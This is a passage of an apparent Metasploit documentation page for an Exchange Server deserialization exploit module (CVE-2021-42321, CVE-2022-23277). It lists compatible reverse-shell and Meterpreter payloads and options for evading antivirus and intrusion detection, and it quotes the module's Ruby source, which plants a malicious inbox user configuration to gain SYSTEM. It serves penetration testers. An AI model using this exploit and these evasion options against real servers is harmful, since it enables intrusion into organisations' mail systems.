   225  payload/cmd/windows/powershell/x64/custom/bind_tcp_uuid                                     normal  No     Powershell Exec, Windows shellcode stage, Bind TCP Stager with UUID Support (Windows x64)
   226  payload/cmd/windows/powershell/x64/custom/reverse_http                                      normal  No     Powershell Exec, Windows shellcode stage, Windows x64 Reverse HTTP Stager (wininet)
   227  payload/cmd/windows/powershell/x64/custom/reverse_https                                     normal  No     Powershell Exec, Windows shellcode stage, Windows x64 Reverse HTTP Stager (wininet)
   228  payload/cmd/windows/powershell/x64/custom/reverse_named_pipe                                normal  No     Powershell Exec, Windows shellcode stage, Windows x64 Reverse Named Pipe (SMB) Stager
   229  payload/cmd/windows/powershell/x64/custom/reverse_tcp                                       normal  No     Powershell Exec, Windows shellcode stage, Windows x64 Reverse TCP Stager
   230  payload/cmd/windows/powershell/x64/custom/reverse_tcp_rc4                                   normal  No     Powershell Exec, Windows shellcode stage, Reverse TCP Stager (RC4 Stage Encryption, Metasm)
   231  payload/cmd/windows/powershell/x64/custom/reverse_tcp_uuid                                  normal  No     Powershell Exec, Windows shellcode stage, Reverse TCP Stager with UUID Support (Windows x64)
   232  payload/cmd/windows/powershell/x64/custom/reverse_winhttp                                   normal  No     Powershell Exec, Windows shellcode stage, Windows x64 Reverse HTTP Stager (winhttp)
   233  payload/cmd/windows/powershell/x64/custom/reverse_winhttps                                  normal  No     Powershell Exec, Windows shellcode stage, Windows x64 Reverse HTTPS Stager (winhttp)
   234  payload/cmd/windows/powershell/x64/exec                                                     normal  No     Powershell Exec, Windows x64 Execute Command
   235  payload/cmd/windows/powershell/x64/loadlibrary                                              normal  No     Powershell Exec, Windows x64 LoadLibrary Path
   236  payload/cmd/windows/powershell/x64/messagebox                                               normal  No     Powershell Exec, Windows MessageBox x64
   237  payload/cmd/windows/powershell/x64/meterpreter/bind_ipv6_tcp                                normal  No     Powershell Exec, Windows x64 IPv6 Bind TCP Stager
   238  payload/cmd/windows/powershell/x64/meterpreter/bind_ipv6_tcp_uuid                           normal  No     Powershell Exec, Windows x64 IPv6 Bind TCP Stager with UUID Support
   239  payload/cmd/windows/powershell/x64/meterpreter/bind_named_pipe                              normal  No     Powershell Exec, Windows x64 Bind Named Pipe Stager
   240  payload/cmd/windows/powershell/x64/meterpreter/bind_tcp                                     normal  No     Powershell Exec, Windows x64 Bind TCP Stager
   241  payload/cmd/windows/powershell/x64/meterpreter/bind_tcp_rc4                                 normal  No     Powershell Exec, Bind TCP Stager (RC4 Stage Encryption, Metasm)
   242  payload/cmd/windows/powershell/x64/meterpreter/bind_tcp_uuid                                normal  No     Powershell Exec, Bind TCP Stager with UUID Support (Windows x64)
   243  payload/cmd/windows/powershell/x64/meterpreter/reverse_http                                 normal  No     Powershell Exec, Windows x64 Reverse HTTP Stager (wininet)
   244  payload/cmd/windows/powershell/x64/meterpreter/reverse_https                                normal  No     Powershell Exec, Windows x64 Reverse HTTP Stager (wininet)
   245  payload/cmd/windows/powershell/x64/meterpreter/reverse_named_pipe                           normal  No     Powershell Exec, Windows x64 Reverse Named Pipe (SMB) Stager
   246  payload/cmd/windows/powershell/x64/meterpreter/reverse_tcp                                  normal  No     Powershell Exec, Windows x64 Reverse TCP Stager
   247  payload/cmd/windows/powershell/x64/meterpreter/reverse_tcp_rc4                              normal  No     Powershell Exec, Reverse TCP Stager (RC4 Stage Encryption, Metasm)
   248  payload/cmd/windows/powershell/x64/meterpreter/reverse_tcp_uuid                             normal  No     Powershell Exec, Reverse TCP Stager with UUID Support (Windows x64)
   249  payload/cmd/windows/powershell/x64/meterpreter/reverse_winhttp                              normal  No     Powershell Exec, Windows x64 Reverse HTTP Stager (winhttp)
   250  payload/cmd/windows/powershell/x64/meterpreter/reverse_winhttps                             normal  No     Powershell Exec, Windows x64 Reverse HTTPS Stager (winhttp)
   251  payload/cmd/windows/powershell/x64/peinject/bind_ipv6_tcp                                   normal  No     Powershell Exec, Windows x64 IPv6 Bind TCP Stager
   252  payload/cmd/windows/powershell/x64/peinject/bind_ipv6_tcp_uuid                              normal  No     Powershell Exec, Windows x64 IPv6 Bind TCP Stager with UUID Support
   253  payload/cmd/windows/powershell/x64/peinject/bind_named_pipe                                 normal  No     Powershell Exec, Windows x64 Bind Named Pipe Stager
   254  payload/cmd/windows/powershell/x64/peinject/bind_tcp                                        normal  No     Powershell Exec, Windows x64 Bind TCP Stager
   255  payload/cmd/windows/powershell/x64/peinject/bind_tcp_rc4                                    normal  No     Powershell Exec, Bind TCP Stager (RC4 Stage Encryption, Metasm)
   256  payload/cmd/windows/powershell/x64/peinject/bind_tcp_uuid                                   normal  No     Powershell Exec, Bind TCP Stager with UUID Support (Windows x64)
   257  payload/cmd/windows/powershell/x64/peinject/reverse_named_pipe                              normal  No     Powershell Exec, Windows x64 Reverse Named Pipe (SMB) Stager
   258  payload/cmd/windows/powershell/x64/peinject/reverse_tcp                                     normal  No     Powershell Exec, Windows x64 Reverse TCP Stager
   259  payload/cmd/windows/powershell/x64/peinject/reverse_tcp_rc4                                 normal  No     Powershell Exec, Reverse TCP Stager (RC4 Stage Encryption, Metasm)
   260  payload/cmd/windows/powershell/x64/peinject/reverse_tcp_uuid                                normal  No     Powershell Exec, Reverse TCP Stager with UUID Support (Windows x64)
   261  payload/cmd/windows/powershell/x64/pingback_reverse_tcp                                     normal  No     Powershell Exec, Windows x64 Pingback, Reverse TCP Inline
   262  payload/cmd/windows/powershell/x64/powershell_bind_tcp                                      normal  No     Powershell Exec
   263  payload/cmd/windows/powershell/x64/powershell_reverse_tcp                                   normal  No     Powershell Exec
   264  payload/cmd/windows/powershell/x64/powershell_reverse_tcp_ssl                               normal  No     Powershell Exec
   265  payload/cmd/windows/powershell/x64/shell/bind_ipv6_tcp                                      normal  No     Powershell Exec, Windows x64 Command Shell, Windows x64 IPv6 Bind TCP Stager
   266  payload/cmd/windows/powershell/x64/shell/bind_ipv6_tcp_uuid                                 normal  No     Powershell Exec, Windows x64 Command Shell, Windows x64 IPv6 Bind TCP Stager with UUID Support
   267  payload/cmd/windows/powershell/x64/shell/bind_named_pipe                                    normal  No     Powershell Exec, Windows x64 Command Shell, Windows x64 Bind Named Pipe Stager
   268  payload/cmd/windows/powershell/x64/shell/bind_tcp                                           normal  No     Powershell Exec, Windows x64 Command Shell, Windows x64 Bind TCP Stager
   269  payload/cmd/windows/powershell/x64/shell/bind_tcp_rc4                                       normal  No     Powershell Exec, Windows x64 Command Shell, Bind TCP Stager (RC4 Stage Encryption, Metasm)
   270  payload/cmd/windows/powershell/x64/shell/bind_tcp_uuid                                      normal  No     Powershell Exec, Windows x64 Command Shell, Bind TCP Stager with UUID Support (Windows x64)
   271  payload/cmd/windows/powershell/x64/shell/reverse_tcp                                        normal  No     Powershell Exec, Windows x64 Command Shell, Windows x64 Reverse TCP Stager
   272  payload/cmd/windows/powershell/x64/shell/reverse_tcp_rc4                                    normal  No     Powershell Exec, Windows x64 Command Shell, Reverse TCP Stager (RC4 Stage Encryption, Metasm)
   273  payload/cmd/windows/powershell/x64/shell/reverse_tcp_uuid                                   normal  No     Powershell Exec, Windows x64 Command Shell, Reverse TCP Stager with UUID Support (Windows x64)
   274  payload/cmd/windows/powershell/x64/shell_bind_tcp                                           normal  No     Powershell Exec, Windows x64 Command Shell, Bind TCP Inline
   275  payload/cmd/windows/powershell/x64/shell_reverse_tcp                                        normal  No     Powershell Exec, Windows x64 Command Shell, Reverse TCP Inline
   276  payload/cmd/windows/powershell/x64/vncinject/bind_ipv6_tcp                                  normal  No     Powershell Exec, Windows x64 IPv6 Bind TCP Stager
   277  payload/cmd/windows/powershell/x64/vncinject/bind_ipv6_tcp_uuid                             normal  No     Powershell Exec, Windows x64 IPv6 Bind TCP Stager with UUID Support
   278  payload/cmd/windows/powershell/x64/vncinject/bind_named_pipe                                normal  No     Powershell Exec, Windows x64 Bind Named Pipe Stager
   279  payload/cmd/windows/powershell/x64/vncinject/bind_tcp                                       normal  No     Powershell Exec, Windows x64 Bind TCP Stager
   280  payload/cmd/windows/powershell/x64/vncinject/bind_tcp_rc4                                   normal  No     Powershell Exec, Bind TCP Stager (RC4 Stage Encryption, Metasm)
   281  payload/cmd/windows/powershell/x64/vncinject/bind_tcp_uuid                                  normal  No     Powershell Exec, Bind TCP Stager with UUID Support (Windows x64)
   282  payload/cmd/windows/powershell/x64/vncinject/reverse_http                                   normal  No     Powershell Exec, Windows x64 Reverse HTTP Stager (wininet)
   283  payload/cmd/windows/powershell/x64/vncinject/reverse_https                                  normal  No     Powershell Exec, Windows x64 Reverse HTTP Stager (wininet)
   284  payload/cmd/windows/powershell/x64/vncinject/reverse_tcp                                    normal  No     Powershell Exec, Windows x64 Reverse TCP Stager
   285  payload/cmd/windows/powershell/x64/vncinject/reverse_tcp_rc4                                normal  No     Powershell Exec, Reverse TCP Stager (RC4 Stage Encryption, Metasm)
   286  payload/cmd/windows/powershell/x64/vncinject/reverse_tcp_uuid                               normal  No     Powershell Exec, Reverse TCP Stager with UUID Support (Windows x64)
   287  payload/cmd/windows/powershell/x64/vncinject/reverse_winhttp                                normal  No     Powershell Exec, Windows x64 Reverse HTTP Stager (winhttp)
   288  payload/cmd/windows/powershell/x64/vncinject/reverse_winhttps                               normal  No     Powershell Exec, Windows x64 Reverse HTTPS Stager (winhttp)
   289  payload/cmd/windows/powershell_bind_tcp                                                     normal  No     Windows Interactive Powershell Session, Bind TCP
   290  payload/cmd/windows/powershell_reverse_tcp                                                  normal  No     Windows Interactive Powershell Session, Reverse TCP
   291  payload/cmd/windows/powershell_reverse_tcp_ssl                                              normal  No     Windows Interactive Powershell Session, Reverse TCP SSL
   292  payload/cmd/windows/reverse_lua                                                             normal  No     Windows Command Shell, Reverse TCP (via Lua)
   293  payload/cmd/windows/reverse_perl                                                            normal  No     Windows Command, Double Reverse TCP Connection (via Perl)
   294  payload/cmd/windows/reverse_powershell                                                      normal  No     Windows Command Shell, Reverse TCP (via Powershell)
   295  payload/cmd/windows/reverse_ruby                                                            normal  No     Windows Command Shell, Reverse TCP (via Ruby)
   296  payload/generic/custom                                                                      normal  No     Custom Payload
   297  payload/generic/shell_bind_tcp                                                              normal  No     Generic Command Shell, Bind TCP Inline
   298  payload/generic/shell_reverse_tcp                                                           normal  No     Generic Command Shell, Reverse TCP Inline
   299  payload/generic/ssh/interact                                                                normal  No     Interact with Established SSH Connection

Evasion Options


Here is the full list of possible evasion options supported by the windows/http/exchange_chainedserializationbinder_rce exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 exploit(windows/http/exchange_chainedserializationbinder_rce) > show evasion

Module evasion options:

   Name                          Current Setting  Required  Description
   ----                          ---------------  --------  -----------
   HTTP::chunked                 false            no        Enable chunking of HTTP responses via "Transfer-Encoding: chunked"
   HTTP::compression             none             no        Enable compression of HTTP responses via content encoding (Accepted: none, gzip, defl
                                                            ate)
   HTTP::header_folding          false            no        Enable folding of HTTP headers
   HTTP::junk_headers            false            no        Enable insertion of random junk HTTP headers
   HTTP::method_random_case      false            no        Use random casing for the HTTP method
   HTTP::method_random_invalid   false            no        Use a random invalid, HTTP method for request
   HTTP::method_random_valid     false            no        Use a random, but valid, HTTP method for request
   HTTP::no_cache                false            no        Disallow the browser to cache HTTP content
   HTTP::pad_fake_headers        false            no        Insert random, fake headers into the HTTP request
   HTTP::pad_fake_headers_count  0                no        How many fake headers to insert into the HTTP request
   HTTP::pad_get_params          false            no        Insert random, fake query string variables into the request
   HTTP::pad_get_params_count    16               no        How many fake query string variables to insert into the request
   HTTP::pad_method_uri_count    1                no        How many whitespace characters to use between the method and uri
   HTTP::pad_method_uri_type     space            no        What type of whitespace to use between the method and uri (Accepted: space, tab, apac
                                                            he)
   HTTP::pad_post_params         false            no        Insert random, fake post variables into the request
   HTTP::pad_post_params_count   16               no        How many fake post variables to insert into the request
   HTTP::pad_uri_version_count   1                no        How many whitespace characters to use between the uri and version
   HTTP::pad_uri_version_type    space            no        What type of whitespace to use between the uri and version (Accepted: space, tab, apa
                                                            che)
   HTTP::server_name             Apache           yes       Configures the Server header of all outgoing replies
   HTTP::shuffle_get_params      false            no        Randomize order of GET parameters
   HTTP::shuffle_post_params     false            no        Randomize order of POST parameters
   HTTP::uri_dir_fake_relative   false            no        Insert fake relative directories into the uri
   HTTP::uri_dir_self_reference  false            no        Insert self-referential directories into the uri
   HTTP::uri_encode_mode         hex-normal       no        Enable URI encoding (Accepted: none, hex-normal, hex-noslashes, hex-random, hex-all,
                                                            u-normal, u-all, u-random)
   HTTP::uri_fake_end            false            no        Add a fake end of URI (eg: /%20HTTP/1.0/../../)
   HTTP::uri_fake_params_start   false            no        Add a fake start of params to the URI (eg: /%3fa=b/../)
   HTTP::uri_full_url            false            no        Use the full URL for all HTTP requests
   HTTP::uri_use_backslashes     false            no        Use back slashes instead of forward slashes in the uri
   HTTP::version_random_invalid  false            no        Use a random invalid, HTTP version for request
   HTTP::version_random_valid    false            no        Use a random, but valid, HTTP version for request
   TCP::max_send_size            0                no        Maximum tcp segment size.  (0 = disable)
   TCP::send_delay               0                no        Delays inserted before every send.  (0 = disable)

Go back to menu.

Error Messages


This module may fail with the following error messages:

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

Couldn't retrieve the target Exchange Server version!


Here is a relevant code snippet related to the "Couldn't retrieve the target Exchange Server version!" error message:

146:	
147:	  def check
148:	    # Note we are only checking official releases here to reduce requests when checking versions with exchange_get_version
149:	    current_build_rex = exchange_get_version(exchange_builds: cve_2021_42321_vuln_builds + cve_2022_23277_vuln_builds)
150:	    if current_build_rex.nil?
151:	      return CheckCode::Unknown("Couldn't retrieve the target Exchange Server version!")
152:	    end
153:	
154:	    @exchange_build = current_build_rex.to_s
155:	
156:	    if cve_2021_42321_vuln_builds.include?(@exchange_build)

Exchange Server <EXCHANGE_BUILD> is vulnerable to CVE-2021-42321


Here is a relevant code snippet related to the "Exchange Server <EXCHANGE_BUILD> is vulnerable to CVE-2021-42321" error message:

152:	    end
153:	
154:	    @exchange_build = current_build_rex.to_s
155:	
156:	    if cve_2021_42321_vuln_builds.include?(@exchange_build)
157:	      CheckCode::Appears("Exchange Server #{@exchange_build} is vulnerable to CVE-2021-42321")
158:	    elsif cve_2022_23277_vuln_builds.include?(@exchange_build)
159:	      CheckCode::Appears("Exchange Server #{@exchange_build} is vulnerable to CVE-2022-23277")
160:	    else
161:	      CheckCode::Safe("Exchange Server #{@exchange_build} does not appear to be a vulnerable version!")
162:	    end

Exchange Server <EXCHANGE_BUILD> is vulnerable to CVE-2022-23277


Here is a relevant code snippet related to the "Exchange Server <EXCHANGE_BUILD> is vulnerable to CVE-2022-23277" error message:

154:	    @exchange_build = current_build_rex.to_s
155:	
156:	    if cve_2021_42321_vuln_builds.include?(@exchange_build)
157:	      CheckCode::Appears("Exchange Server #{@exchange_build} is vulnerable to CVE-2021-42321")
158:	    elsif cve_2022_23277_vuln_builds.include?(@exchange_build)
159:	      CheckCode::Appears("Exchange Server #{@exchange_build} is vulnerable to CVE-2022-23277")
160:	    else
161:	      CheckCode::Safe("Exchange Server #{@exchange_build} does not appear to be a vulnerable version!")
162:	    end
163:	  end
164:	

Exchange Server <EXCHANGE_BUILD> does not appear to be a vulnerable version!


Here is a relevant code snippet related to the "Exchange Server <EXCHANGE_BUILD> does not appear to be a vulnerable version!" error message:

156:	    if cve_2021_42321_vuln_builds.include?(@exchange_build)
157:	      CheckCode::Appears("Exchange Server #{@exchange_build} is vulnerable to CVE-2021-42321")
158:	    elsif cve_2022_23277_vuln_builds.include?(@exchange_build)
159:	      CheckCode::Appears("Exchange Server #{@exchange_build} is vulnerable to CVE-2022-23277")
160:	    else
161:	      CheckCode::Safe("Exchange Server #{@exchange_build} does not appear to be a vulnerable version!")
162:	    end
163:	  end
164:	
165:	  def exploit
166:	    if @exchange_build.nil? # make sure the target build is known and if it's not (because the check was skipped), get it

Failed to identify the target Exchange Server build version.


Here is a relevant code snippet related to the "Failed to identify the target Exchange Server build version." error message:

164:	
165:	  def exploit
166:	    if @exchange_build.nil? # make sure the target build is known and if it's not (because the check was skipped), get it
167:	      @exchange_build = exchange_get_version(exchange_builds: cve_2021_42321_vuln_builds + cve_2022_23277_vuln_builds)&.to_s
168:	      if @exchange_build.nil?
169:	        fail_with(Failure::Unknown, 'Failed to identify the target Exchange Server build version.')
170:	      end
171:	    end
172:	
173:	    if cve_2021_42321_vuln_builds.include?(@exchange_build)
174:	      @gadget_chain = :ClaimsPrincipal

Exchange Server <EXCHANGE_BUILD> is not a vulnerable version!


Here is a relevant code snippet related to the "Exchange Server <EXCHANGE_BUILD> is not a vulnerable version!" error message:

173:	    if cve_2021_42321_vuln_builds.include?(@exchange_build)
174:	      @gadget_chain = :ClaimsPrincipal
175:	    elsif cve_2022_23277_vuln_builds.include?(@exchange_build)
176:	      @gadget_chain = :DataSetTypeSpoof
177:	    else
178:	      fail_with(Failure::NotVulnerable, "Exchange Server #{@exchange_build} is not a vulnerable version!")
179:	    end
180:	
181:	    case target['Type']
182:	    when :win_cmd
183:	      execute_command(payload.encoded)

Connection failed


Here is a relevant code snippet related to the "Connection failed" error message:

218:	        'uri' => normalize_uri(datastore['TARGETURI'], 'ews', 'exchange.asmx'),
219:	        'data' => xml_getfolder_inbox,
220:	        'ctype' => 'text/xml; charset=utf-8' # If you don't set this header, then we will end up sending a URL form request which Exchange will correctly complain about.
221:	      }
222:	    )
223:	    fail_with(Failure::Unreachable, 'Connection failed') if res.nil?
224:	
225:	    unless res&.body
226:	      fail_with(Failure::UnexpectedReply, 'Response obtained but it was empty!')
227:	    end
228:	

Response obtained but it was empty!


Here is a relevant code snippet related to the "Response obtained but it was empty!" error message:

221:	      }
222:	    )
223:	    fail_with(Failure::Unreachable, 'Connection failed') if res.nil?
224:	
225:	    unless res&.body
226:	      fail_with(Failure::UnexpectedReply, 'Response obtained but it was empty!')
227:	    end
228:	
229:	    if res.code == 401
230:	      fail_with(Failure::NoAccess, "Server responded with 401 Unauthorized for user: #{datastore['DOMAIN']}\\#{username}")
231:	    end

Server responded with 401 Unauthorized for user: <DOMAIN>\<USERNAME>


Here is a relevant code snippet related to the "Server responded with 401 Unauthorized for user: <DOMAIN>\<USERNAME>" error message:

225:	    unless res&.body
226:	      fail_with(Failure::UnexpectedReply, 'Response obtained but it was empty!')
227:	    end
228:	
229:	    if res.code == 401
230:	      fail_with(Failure::NoAccess, "Server responded with 401 Unauthorized for user: #{datastore['DOMAIN']}\\#{username}")
231:	    end
232:	
233:	    xml_getfolder = res.get_xml_document
234:	    xml_getfolder.remove_namespaces!
235:	    xml_tag = xml_getfolder.xpath('//FolderId')

Are you sure the current user has logged in previously to set up their mailbox? It seems they may have not had a mailbox set up yet!


Here is a relevant code snippet related to the "Are you sure the current user has logged in previously to set up their mailbox? It seems they may have not had a mailbox set up yet!" error message:

232:	
233:	    xml_getfolder = res.get_xml_document
234:	    xml_getfolder.remove_namespaces!
235:	    xml_tag = xml_getfolder.xpath('//FolderId')
236:	    if xml_tag.empty?
237:	      print_error('Are you sure the current user has logged in previously to set up their mailbox? It seems they may have not had a mailbox set up yet!')
238:	      fail_with(Failure::UnexpectedReply, 'Response obtained but no FolderId element was found within it!')
239:	    end
240:	    unless xml_tag.attribute('Id') && xml_tag.attribute('ChangeKey')
241:	      fail_with(Failure::UnexpectedReply, 'Response obtained without expected Id and ChangeKey elements!')
242:	    end

Response obtained but no FolderId element was found within it!


Here is a relevant code snippet related to the "Response obtained but no FolderId element was found within it!" error message:

233:	    xml_getfolder = res.get_xml_document
234:	    xml_getfolder.remove_namespaces!
235:	    xml_tag = xml_getfolder.xpath('//FolderId')
236:	    if xml_tag.empty?
237:	      print_error('Are you sure the current user has logged in previously to set up their mailbox? It seems they may have not had a mailbox set up yet!')
238:	      fail_with(Failure::UnexpectedReply, 'Response obtained but no FolderId element was found within it!')
239:	    end
240:	    unless xml_tag.attribute('Id') && xml_tag.attribute('ChangeKey')
241:	      fail_with(Failure::UnexpectedReply, 'Response obtained without expected Id and ChangeKey elements!')
242:	    end
243:	    change_key_val = xml_tag.attribute('ChangeKey').value

Response obtained without expected Id and ChangeKey elements!


Here is a relevant code snippet related to the "Response obtained without expected Id and ChangeKey elements!" error message:

236:	    if xml_tag.empty?
237:	      print_error('Are you sure the current user has logged in previously to set up their mailbox? It seems they may have not had a mailbox set up yet!')
238:	      fail_with(Failure::UnexpectedReply, 'Response obtained but no FolderId element was found within it!')
239:	    end
240:	    unless xml_tag.attribute('Id') && xml_tag.attribute('ChangeKey')
241:	      fail_with(Failure::UnexpectedReply, 'Response obtained without expected Id and ChangeKey elements!')
242:	    end
243:	    change_key_val = xml_tag.attribute('ChangeKey').value
244:	    folder_id_val = xml_tag.attribute('Id').value
245:	    print_good("ChangeKey value for Inbox folder is #{change_key_val}")
246:	    print_good("ID value for Inbox folder is #{folder_id_val}")

Connection failed


Here is a relevant code snippet related to the "Connection failed" error message:

267:	        'uri' => normalize_uri(datastore['TARGETURI'], 'ews', 'exchange.asmx'),
268:	        'data' => xml_delete_inbox_user_config,
269:	        'ctype' => 'text/xml; charset=utf-8' # If you don't set this header, then we will end up sending a URL form request which Exchange will correctly complain about.
270:	      }
271:	    )
272:	    fail_with(Failure::Unreachable, 'Connection failed') if res.nil?
273:	
274:	    unless res&.body
275:	      fail_with(Failure::UnexpectedReply, 'Response obtained but it was empty!')
276:	    end
277:	

Response obtained but it was empty!


Here is a relevant code snippet related to the "Response obtained but it was empty!" error message:

270:	      }
271:	    )
272:	    fail_with(Failure::Unreachable, 'Connection failed') if res.nil?
273:	
274:	    unless res&.body
275:	      fail_with(Failure::UnexpectedReply, 'Response obtained but it was empty!')
276:	    end
277:	
278:	    if res.body =~ %r{<m:DeleteUserConfigurationResponseMessage ResponseClass="Success"><m:ResponseCode>NoError</m:ResponseCode></m:DeleteUserConfigurationResponseMessage>}
279:	      print_good('Successfully deleted the user configuration object associated with the Inbox folder!')
280:	    else

Success


Here is a relevant code snippet related to the "Success" error message:

273:	
274:	    unless res&.body
275:	      fail_with(Failure::UnexpectedReply, 'Response obtained but it was empty!')
276:	    end
277:	
278:	    if res.body =~ %r{<m:DeleteUserConfigurationResponseMessage ResponseClass="Success"><m:ResponseCode>NoError</m:ResponseCode></m:DeleteUserConfigurationResponseMessage>}
279:	      print_good('Successfully deleted the user configuration object associated with the Inbox folder!')
280:	    else
281:	      print_warning('Was not able to successfully delete the existing user configuration on the Inbox folder!')
282:	      print_warning('Sometimes this may occur when there is not an existing config applied to the Inbox folder (default 2016 installs have this issue)!')
283:	    end

Was not able to successfully delete the existing user configuration on the Inbox folder!


Here is a relevant code snippet related to the "Was not able to successfully delete the existing user configuration on the Inbox folder!" error message:

276:	    end
277:	
278:	    if res.body =~ %r{<m:DeleteUserConfigurationResponseMessage ResponseClass="Success"><m:ResponseCode>NoError</m:ResponseCode></m:DeleteUserConfigurationResponseMessage>}
279:	      print_good('Successfully deleted the user configuration object associated with the Inbox folder!')
280:	    else
281:	      print_warning('Was not able to successfully delete the existing user configuration on the Inbox folder!')
282:	      print_warning('Sometimes this may occur when there is not an existing config applied to the Inbox folder (default 2016 installs have this issue)!')
283:	    end
284:	
285:	    # Now to replace the deleted user configuration object with our own user configuration object.
286:	    print_status('Creating the malicious user configuration object on the Inbox folder!')

Sometimes this may occur when there is not an existing config applied to the Inbox folder (default 2016 installs have this issue)!


Here is a relevant code snippet related to the "Sometimes this may occur when there is not an existing config applied to the Inbox folder (default 2016 installs have this issue)!" error message:

277:	
278:	    if res.body =~ %r{<m:DeleteUserConfigurationResponseMessage ResponseClass="Success"><m:ResponseCode>NoError</m:ResponseCode></m:DeleteUserConfigurationResponseMessage>}
279:	      print_good('Successfully deleted the user configuration object associated with the Inbox folder!')
280:	    else
281:	      print_warning('Was not able to successfully delete the existing user configuration on the Inbox folder!')
282:	      print_warning('Sometimes this may occur when there is not an existing config applied to the Inbox folder (default 2016 installs have this issue)!')
283:	    end
284:	
285:	    # Now to replace the deleted user configuration object with our own user configuration object.
286:	    print_status('Creating the malicious user configuration object on the Inbox folder!')
287:	

Connection failed


Here is a relevant code snippet related to the "Connection failed" error message:

330:	        'uri' => normalize_uri(datastore['TARGETURI'], 'ews', 'exchange.asmx'),
331:	        'data' => xml_malicious_user_config,
332:	        'ctype' => 'text/xml; charset=utf-8' # If you don't set this header, then we will end up sending a URL form request which Exchange will correctly complain about.
333:	      }
334:	    )
335:	    fail_with(Failure::Unreachable, 'Connection failed') if res.nil?
336:	
337:	    unless res&.body
338:	      fail_with(Failure::UnexpectedReply, 'Response obtained but it was empty!')
339:	    end
340:	

Response obtained but it was empty!


Here is a relevant code snippet related to the "Response obtained but it was empty!" error message:

333:	      }
334:	    )
335:	    fail_with(Failure::Unreachable, 'Connection failed') if res.nil?
336:	
337:	    unless res&.body
338:	      fail_with(Failure::UnexpectedReply, 'Response obtained but it was empty!')
339:	    end
340:	
341:	    unless res.body =~ %r{<m:CreateUserConfigurationResponseMessage ResponseClass="Success"><m:ResponseCode>NoError</m:ResponseCode></m:CreateUserConfigurationResponseMessage>}
342:	      fail_with(Failure::UnexpectedReply, 'Was not able to successfully create the malicious user configuration on the Inbox folder!')
343:	    end

Success


Here is a relevant code snippet related to the "Success" error message:

336:	
337:	    unless res&.body
338:	      fail_with(Failure::UnexpectedReply, 'Response obtained but it was empty!')
339:	    end
340:	
341:	    unless res.body =~ %r{<m:CreateUserConfigurationResponseMessage ResponseClass="Success"><m:ResponseCode>NoError</m:ResponseCode></m:CreateUserConfigurationResponseMessage>}
342:	      fail_with(Failure::UnexpectedReply, 'Was not able to successfully create the malicious user configuration on the Inbox folder!')
343:	    end
344:	
345:	    print_good('Successfully created the malicious user configuration object and associated with the Inbox folder!')
346:	

Was not able to successfully create the malicious user configuration on the Inbox folder!


Here is a relevant code snippet related to the "Was not able to successfully create the malicious user configuration on the Inbox folder!" error message:

337:	    unless res&.body
338:	      fail_with(Failure::UnexpectedReply, 'Response obtained but it was empty!')
339:	    end
340:	
341:	    unless res.body =~ %r{<m:CreateUserConfigurationResponseMessage ResponseClass="Success"><m:ResponseCode>NoError</m:ResponseCode></m:CreateUserConfigurationResponseMessage>}
342:	      fail_with(Failure::UnexpectedReply, 'Was not able to successfully create the malicious user configuration on the Inbox folder!')
343:	    end
344:	
345:	    print_good('Successfully created the malicious user configuration object and associated with the Inbox folder!')
346:	
347:	    # Deserialize our object. If all goes well, you should now have SYSTEM :)

Go back to menu.


References


See Also


Check also the following modules related to this module:

Authors


  • pwnforsp
  • zcgonvh
  • Microsoft Threat Intelligence Center
  • Microsoft Security Response Center
  • peterjson
  • testanull
  • Grant Willcox
  • Spencer McIntyre
  • Markus Wulftange

Version


This page has been produced using Metasploit Framework version 6.2.29-dev. For more modules, visit the Metasploit Module Library.

Go back to menu.